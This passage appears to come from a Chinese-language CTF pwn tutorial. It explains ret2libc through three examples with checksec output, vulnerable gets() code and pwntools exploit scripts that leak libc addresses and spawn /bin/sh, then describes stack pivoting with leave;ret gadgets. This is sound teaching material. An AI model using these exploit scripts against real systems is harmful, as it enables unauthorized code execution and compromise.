<h3 id="原理-3"><a class="header" href="#原理-3">原理</a></h3>
|
||
<p>ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置(即函数对应的 got表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。</p>
|
||
<h3 id="例子-3"><a class="header" href="#例子-3">例子</a></h3>
|
||
<p>我们由简单到难分别给出三个例子。</p>
|
||
<h4 id="例1"><a class="header" href="#例1">例1</a></h4>
|
||
<p>首先,我们可以检查一下程序的安全保护</p>
|
||
<pre><code class="language-shell">➜ ret2libc1 checksec ret2libc1
|
||
Arch: i386-32-little
|
||
RELRO: Partial RELRO
|
||
Stack: No canary found
|
||
NX: NX enabled
|
||
PIE: No PIE (0x8048000)
|
||
</code></pre>
|
||
<p>源程序为 32 位,开启了 NX 保护。下面来看一下程序源代码,确定漏洞位置</p>
|
||
<pre><code class="language-c">int __cdecl main(int argc, const char **argv, const char **envp)
|
||
{
|
||
int v4; // [sp+1Ch] [bp-64h]@1
|
||
setvbuf(stdout, 0, 2, 0);
|
||
setvbuf(_bss_start, 0, 1, 0);
|
||
puts("RET2LIBC >_<");
|
||
gets((char *)&v4);
|
||
return 0;
|
||
}
|
||
</code></pre>
|
||
<p>可以看到在执行 gets 函数的时候出现了栈溢出。此外,利用 ropgadget,我们可以查看是否有 /bin/sh 存在</p>
|
||
<pre><code class="language-shell">➜ ret2libc1 ROPgadget --binary ret2libc1 --string '/bin/sh'
|
||
Strings information
|
||
============================================================
|
||
0x08048720 : /bin/sh
|
||
</code></pre>
|
||
<p>确实存在,再次查找一下是否有 system 函数存在。经在 ida 中查找,确实也存在。</p>
|
||
<pre><code class="language-asm">.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]
|
||
</code></pre>
|
||
<p>那么,我们直接返回该处,即执行 system 函数。相应的 payload 如下</p>
|
||
<pre><code class="language-python">#!/usr/bin/env python
|
||
from pwn import *
|
||
p = process('./ret2libc1')
|
||
binsh_addr = 0x8048720
|
||
system_plt = 0x08048460
|
||
payload = 'a' * 112
|
||
payload += p32(system_plt) + 'bbbb' + p32(binsh_addr) # system('/bin/sh');
|
||
p.sendline(payload)
|
||
p.interactive()
|
||
</code></pre>
|
||
<p>这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以 ‘bbbb’ 作为虚假的地址,其后参数对应的参数内容。
|
||
这个例子相对来说简单,同时提供了 system 地址与 /bin/sh 的地址,但是大多数程序并不会有这么好的情况。</p>
|
||
<h4 id="例2"><a class="header" href="#例2">例2</a></h4>
|
||
<p>该题目与例 1 基本一致,只不过不再出现 /bin/sh 字符串,所以此次需要我们自己来读取字符串,所以我们需要两个 gadgets,第一个控制程序读取字符串,第二个控制程序执行 system(“/bin/sh”)。由于漏洞与上述一致,这里就不在多说,具体的 exp 如下:
|
||
gets(s) -> overwrite ret_addr -> gets(buf2); 输入’/bin/sh‘
|
||
buf2 -> “/bin/sh”
|
||
system + ret_addr + buf2_addr</p>
|
||
<pre><code class="language-python">##!/usr/bin/env python
|
||
from pwn import *
|
||
p = process('./ret2libc2')
|
||
gets_plt = 0x08048460
|
||
system_plt = 0x08048490
|
||
pop_ebx_ret = 0x0804843d
|
||
buf2 = 0x804a080
|
||
payload = 'a'*112
|
||
payload += p32(gets_plt)+p32(pop_ebx_ret)+p32(buf2)
|
||
payload += p32(system_plt)+'bbbb'+p32(buf2)
|
||
gdb.attach(p)
|
||
p.sendline(payload)
|
||
</code></pre>
|
||
<p>需要注意的是,这里向程序中 bss 段的 buf2 处写入 /bin/sh 字符串,并将其地址作为 system 的参数传入。这样以便于可以获得 shell。</p>
|
||
<h4 id="例3"><a class="header" href="#例3">例3</a></h4>
|
||
<p>在例 2 的基础上,再次将 system 函数的地址去掉。此时,我们需要同时找到 system 函数地址与 /bin/sh 字符串的地址。首先,查看安全保护</p>
|
||
<pre><code>没有system
|
||
有puts --> puts(&puts);
|
||
泄露puts_addr, 在libc找puts静态地址,基地址 = puts_addr - puts静态地址。
|
||
在libc找到system和/bin/sh的静态地址,system_addr = 基地址 + system的静态地址。
|
||
binsh_addr = 基地址 + binsh的静态地址。
|
||
payload = ’a'*112 + p32(system_addr) + ‘bbbb’+p32(binsh_addr)
|
||
; system(‘/bin/sh’);
|
||
</code></pre>
|
||
<pre><code class="language-shell">➜ ret2libc3 checksec ret2libc3
|
||
Arch: i386-32-little
|
||
RELRO: Partial RELRO
|
||
Stack: No canary found
|
||
NX: NX enabled
|
||
PIE: No PIE (0x8048000)
|
||
</code></pre>
|
||
<p>可以看出,源程序仍旧开启了堆栈不可执行保护。进而查看源码,发现程序的 bug 仍然是栈溢出</p>
|
||
<pre><code class="language-C">int __cdecl main(int argc, const char **argv, const char **envp)
|
||
{
|
||
int v4; // [sp+1Ch] [bp-64h]@1
|
||
setvbuf(stdout, 0, 2, 0);
|
||
setvbuf(stdin, 0, 1, 0);
|
||
puts("No surprise anymore, system disappeard QQ.");
|
||
printf("Can you find it !?");
|
||
gets((char *)&v4);
|
||
return 0;
|
||
}
|
||
</code></pre>
|
||
<p>那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点</p>
|
||
<ul>
|
||
<li>system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。</li>
|
||
<li>即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的12位并不会发生改变。而 libc 在github上有人进行收集,如下</li>
|
||
<li>https://github.com/niklasb/libc-database
|
||
所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system函数的地址。
|
||
那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。<strong>当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。</strong>
|
||
我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme</li>
|
||
<li>https://github.com/lieanu/LibcSearcher
|
||
安装<code>LibcSearcher</code></li>
|
||
</ul>
|
||
<pre><code class="language-shell">git clone https://github.com/lieanu/LibcSearcher.git
|
||
cd LibcSearcher
|
||
python setup.py develop
|
||
</code></pre>
|
||
<p>此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。
|
||
这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下</p>
|
||
<ul>
|
||
<li>泄露 __libc_start_main 地址</li>
|
||
<li>获取 libc 版本</li>
|
||
<li>获取 system 地址与 /bin/sh 的地址</li>
|
||
<li>再次执行源程序</li>
|
||
<li>触发栈溢出执行 system(‘/bin/sh’)
|
||
exp 如下</li>
|
||
</ul>
|
||
<pre><code class="language-python">#-*- coding:utf-8-*-
|
||
from pwn import *
|
||
from LibcSearcher import *
|
||
context(os="linux", arch="i386", log_level="debug")
|
||
local = 1
|
||
if local:
|
||
p = process('./ret2libc3')#,env={'LD_PRELOAD':'./libc.so.6'})
|
||
else:
|
||
p = remote('node4.buuoj.cn',)
|
||
elf = ELF('ret2libc3')
|
||
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
|
||
o_g = [0x45226,0x4527a,0xf0364,0xf1207]
|
||
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
|
||
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
|
||
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
|
||
sla = lambda a,b :p.sendlineafter(str(a),str(b))
|
||
sa = lambda a,b :p.sendafter(str(a),str(b))
|
||
lg = lambda name,data : p.success(name + ": 0x%x" % data)
|
||
se = lambda payload: p.send(payload)
|
||
rl = lambda : p.recv()
|
||
sl = lambda payload: p.sendline(payload)
|
||
ru = lambda a :p.recvuntil(str(a))
|
||
def get_addr(addr, name, get_addr_name, mode=1):
|
||
if mode:
|
||
return addr-libc.sym[name]+libc.sym[get_addr_name]
|
||
else:
|
||
return addr-libc.dump(name)+libc.dump(get_addr_name)
|
||
# shellcode = asm(shellcraft.sh(),arch='amd64', os='linux')
|
||
puts_plt = elf.plt['puts']
|
||
libc_start_main_got = elf.got['__libc_start_main']
|
||
main_addr = 0x08048618
|
||
payload = 'a'*112 + p32(puts_plt) + p32(main_addr) + p32(libc_start_main_got)
|
||
p.sendline(payload)
|
||
libc_start_main = l32()
|
||
gdb.attach(p)
|
||
# local
|
||
libc = elf.libc
|
||
libc_base = libc_start_main - libc.sym['__libc_start_main']
|
||
system_addr = libc_base + libc.sym['system']
|
||
binsh = libc_base + libc.search('/bin/sh').next()
|
||
# remote --- use LibcSearcher
|
||
# libc = LibcSearcher('__libc_start_main', libc_start_main)
|
||
# libc_base = libc_start_main - libc.dump('__libc_start_main')
|
||
# system_addr = libcbase + libc.dump('system')
|
||
# binsh = libcbase + libc.dump('str_bin_sh')
|
||
lg('libc_start_main', libc_start_main)
|
||
lg('system_addr', system_addr)
|
||
lg('libc_base',libc_base)
|
||
lg('binsh',binsh)
|
||
payload = 'c'*104
|
||
payload += p32(system_addr)+'bbbb' + p32(binsh)
|
||
p.sendline(payload)
|
||
p.interactive()
|
||
</code></pre>
|
||
<h2 id="题目-2"><a class="header" href="#题目-2">题目</a></h2>
|
||
<ul>
|
||
<li>warmup_csaw_2016</li>
|
||
<li>others_babystack</li>
|
||
<li>pwn3</li>
|
||
</ul>
|
||
<h1 id="栈迁移技术"><a class="header" href="#栈迁移技术">栈迁移技术</a></h1>
|
||
<h2 id="原理-4"><a class="header" href="#原理-4">原理</a></h2>
|
||
<p>概括地讲,我们在之前讲的栈溢出不外乎两种方式</p>
|
||
<ul>
|
||
<li>控制程序 EIP</li>
|
||
<li>控制程序 EBP
|
||
其最终都是控制程序的执行流。在栈迁移中,我们所利用的技巧便是同时控制 EBP 与 EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。一般来说其 payload 如下</li>
|
||
</ul>
|
||
<pre><code>buffer padding|fake ebp|leave ret addr|
|
||
</code></pre>
|
||
<p>即我们利用栈溢出将栈上构造为如上格式。这里我们主要讲下后面两个部分</p>
|
||
<ul>
|
||
<li>函数的返回地址被我们覆盖为执行 leave ret 的地址,这就表明了函数在正常执行完自己的 leave ret 后,还会再次执行一次 leave ret。</li>
|
||
<li>其中 fake ebp 为我们构造的栈帧的基地址,需要注意的是这里是一个地址。一般来说我们构造的假的栈帧如下</li>
|
||
</ul>
|
||
<pre><code>fake ebp
|
||
|
|
||
v
|
||
ebp2|target function addr|leave ret addr|arg1|arg2
|
||
</code></pre>
|
||
<p>这里我们的 fake ebp 指向 ebp2,即它为 ebp2 所在的地址。通常来说,这里都是我们能够控制的可读的内容。
|
||
<strong>下面的汇编语法是 intel 语法。</strong>
|
||
在我们介绍基本的控制过程之前,我们还是有必要说一下,函数的入口点与出口点的基本操作
|
||
入口点</p>
|
||
<pre><code>push ebp # 将ebp压栈
|
||
mov ebp, esp #将esp的值赋给ebp
|
||
</code></pre>
|
||
<p>出口点</p>
|
||
<pre><code>leave
|
||
ret #pop eip,弹出栈顶元素作为程序下一个执行地址
|
||
</code></pre>
|
||
<p>其中 leave 指令相当于</p>
|
||
<pre><code>mov esp, ebp # 将ebp的值赋给esp
|
||
pop ebp # 弹出ebp
|
||
</code></pre>
|
||
<p>下面我们来仔细说一下基本的控制过程。</p>
|
||
<ol>
|
||
<li>在有栈溢出的程序执行 leave 时,其分为两个步骤</li>
|
||
</ol>
|
||
<ul>
|
||
<li>mov esp, ebp ,这会将 esp 也指向当前栈溢出漏洞的 ebp 基地址处。</li>
|
||
<li>pop ebp, 这会将栈中存放的 fake ebp 的值赋给 ebp。即执行完指令之后,ebp便指向了ebp2,也就是保存了 ebp2 所在的地址。</li>
|
||
</ul>
|
||
<ol start="2">
|
||
<li>执行 ret 指令,会再次执行 leave ret 指令。</li>
|
||
<li>执行 leave 指令,其分为两个步骤</li>
|
||
</ol>
|
||
<ul>
|
||
<li>mov esp, ebp ,这会将 esp 指向 ebp2。</li>
|
||
<li>pop ebp,此时,会将 ebp 的内容设置为 ebp2 的值,同时 esp 会指向 target function。</li>
|
||
</ul>
|
||
<ol start="4">
|
||
<li>执行 ret 指令,这时候程序就会执行 target function,当其进行程序的时候会执行</li>
|
||
</ol>
|
||
<ul>
|
||
<li>push ebp,会将 ebp2 值压入栈中,</li>
|
||
<li>mov ebp, esp,将 ebp 指向当前基地址。
|
||
此时的栈结构如下</li>
|
||
</ul>
|
||
<pre><code>ebp
|
||
|
|
||
v
|
||
ebp2|leave ret addr|arg1|arg2
|
||
</code></pre>
|
||
<ol>
|
||
<li>当程序执行时,其会正常申请空间,同时我们在栈上也安排了该函数对应的参数,所以程序会正常执行。</li>
|
||
<li>程序结束后,其又会执行两次 leave ret addr,所以如果我们在 ebp2 处布置好了对应的内容,那么我们就可以一直控制程序的执行流程。
|
||
可以看出在栈迁移 中,我们有一个需求就是,我们必须得有一块可以写的内存,并且我们还知道这块内存的地址。</li>
|
||
</ol>
|
||
<h2 id="图解"><a class="header" href="#图解">图解</a></h2>
|
||
<p>主要用的就是利用 leave;ret; 这样的gadgets
|
||
<img src="../../img_list/15837512695919a856c5f909f49ebad592e660721ac09.png" alt="image.png" />
|
||
假设,我们有一个程序,存在栈溢出漏洞,我们把内容覆盖成了下面这样子,当然此时 bss 段或者 data 段还没有内容,待会会通过 read 函数输入:
|
||
<img src="../../img_list/1583751904484d0c55ace3ed8491791b8fcd1a1ef5e55.png" alt="image.png" />
|
||
而实际上在程序调用完成 call 返回的时候,就会有这样的 <code>mov esp,ebp</code> <code>pop ebp</code> <code>ret</code> 指令
|
||
<img src="../../img_list/1583751473086167601a3bdb84994819ec5665fcb9ca7.png" alt="image.png" />
|
||
当我们挨个去执行的时候会出现这样的情况
|
||
首先是 <code>mov esp,ebp ; esp=ebp</code> 执行完以后变成了这个样子:
|
||
<img src="../../img_list/1583751918976b36e8f03dad24a68bc4c8fbad6372ffa.png" alt="image.png" />
|
||
然后 <code>pop ebp ; ebp = *(esp)</code> 执行完后就是
|
||
<strong>别忘了,pop 指令是把栈顶的值弹到 指定的寄存器,也就是说 esp 会自动的加一个单位</strong>
|
||
<img src="../../img_list/1583751935372eda3a4b9c7024ccb9026e959f6b4d40f.png" alt="image.png" />
|
||
read(0, buf, 0x100);
|
||
这时候就到 <code>ret ; pop eip; eip = *(esp)</code> 了,我们可以通过 read 函数来把内容输入到 fake ebp1 的地址处
|
||
构造的内容主要是把fake ebp1 处写成 fake ebp2 的地址
|
||
<img src="../../img_list/1583751883921bc78a815a1664e1c9eab40507aed9242.png" alt="image.png" />
|
||
read 函数执行完成以后程序返回到了 leave_ret,这样就会在执行一遍上面说的那样
|
||
首先是 <code>mov esp,ebp</code> 执行完成后效果如下:
|
||
<img src="../../img_list/158375208671916f000863e304c548dcf9461525818da.png" alt="image.png" />
|
||
然后是 <code>pop ebp</code> 执行完成后:
|
||
<img src="../../img_list/1583752167974cc20b00e3209405cb364f0413a6e8137.png" alt="image.png" />
|
||
此时在执行 <code>ret</code> 命令,他就会执行我们构造在 bss 段后者 data 段的那个函数
|
||
<img src="../../img_list/158375227564810ee7f0db07640558281def34b84981e.png" alt="image.png" /></p>
|
||
<h2 id="题目-3"><a class="header" href="#题目-3">题目</a></h2>
|
||
<p>ciscn_2019_es_2
|
||
spwn
|
||
</p>
|
||
|
||
</main>
|
||
|
||
<nav class="nav-wrapper" aria-label="Page navigation">
|
||
<!-- Mobile navigation buttons -->
|
||
<a rel="prev" href="../../posts/ctf/pwn_patch_defense_skill.html" class="mobile-nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
|
||
<i class="fa fa-angle-left"></i>
|
||
</a>
|
||
|
||
<a rel="next prefetch" href="../../posts/ctf/pwn_heap_overflow.html" class="mobile-nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
|
||
<i class="fa fa-angle-right"></i>
|
||
</a>
|
||
|
||
<div style="clear: both"></div>
|
||
</nav>
|
||
</div>
|
||
</div>
|
||
|
||
<nav class="nav-wide-wrapper" aria-label="Page navigation">
|
||
<a rel="prev" href="../../posts/ctf/pwn_patch_defense_skill.html" class="nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
|
||
<i class="fa fa-angle-left"></i>
|
||
</a>
|
||
|
||
<a rel="next prefetch" href="../../posts/ctf/pwn_heap_overflow.html" class="nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
|
||
<i class="fa fa-angle-right"></i>
|
||
</a>
|
||
</nav>
|
||
|
||
</div>
|
||
|
||
|
||
|
||
<script>
|
||
window.playground_line_numbers = true;
|
||
</script>
|
||
|
||
<script>
|
||
window.playground_copyable = true;
|
||
</script>
|
||
|
||
<script src="../../ace.js"></script>
|
||
<script src="../../editor.js"></script>
|
||
<script src="../../mode-rust.js"></script>
|
||
<script src="../../theme-dawn.js"></script>
|
||
<script src="../../theme-tomorrow_night.js"></script>
|
||
|
||
<script src="../../elasticlunr.min.js"></script>
|
||
<script src="../../mark.min.js"></script>
|
||
<script src="../../searcher.js"></script>
|
||
|
||
<script src="../../clipboard.min.js"></script>
|
||
<script src="../../highlight.js"></script>
|
||
<script src="../../book.js"></script>
|
||
|
||
<!-- Custom JS scripts -->
|
||
<script src="../../src/js/custom.js"></script>
|
||
|
||
|
||
</div>
|
||
</body>
|
||
</html>
|